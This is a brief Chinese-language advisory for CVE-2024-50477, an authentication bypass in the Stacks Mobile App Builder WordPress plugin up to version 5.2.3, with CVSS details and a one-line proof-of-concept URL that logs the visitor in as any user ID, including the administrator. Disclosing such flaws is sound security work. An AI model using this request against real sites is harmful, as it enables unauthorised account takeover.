CVE-2024-50477

Stacks Mobile App Builder <= 5.2.3 - 绕过身份验证导致账户接管

描述：

Stacks Mobile App Builder – WordPress 最强大的移动应用拖放构建插件，在包括 5.2.3 在内的所有版本中存在身份验证绕过漏洞。这是因为插件在通过 receive_request_checkout() 函数对用户进行身份验证之前，未能正确验证用户身份。这使得未经验证的攻击者能够根据用户 ID 以任何用户身份登录。

Published: 2024-10-25 00:00:00
CVE: CVE-2024-50477
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: stacks-mobile-app-builder

POC

http://kubernetes.docker.internal/?mobile_co=1&uid=1

您将被重定向并以管理员身份登录。ID 是您希望登录的用户 ID。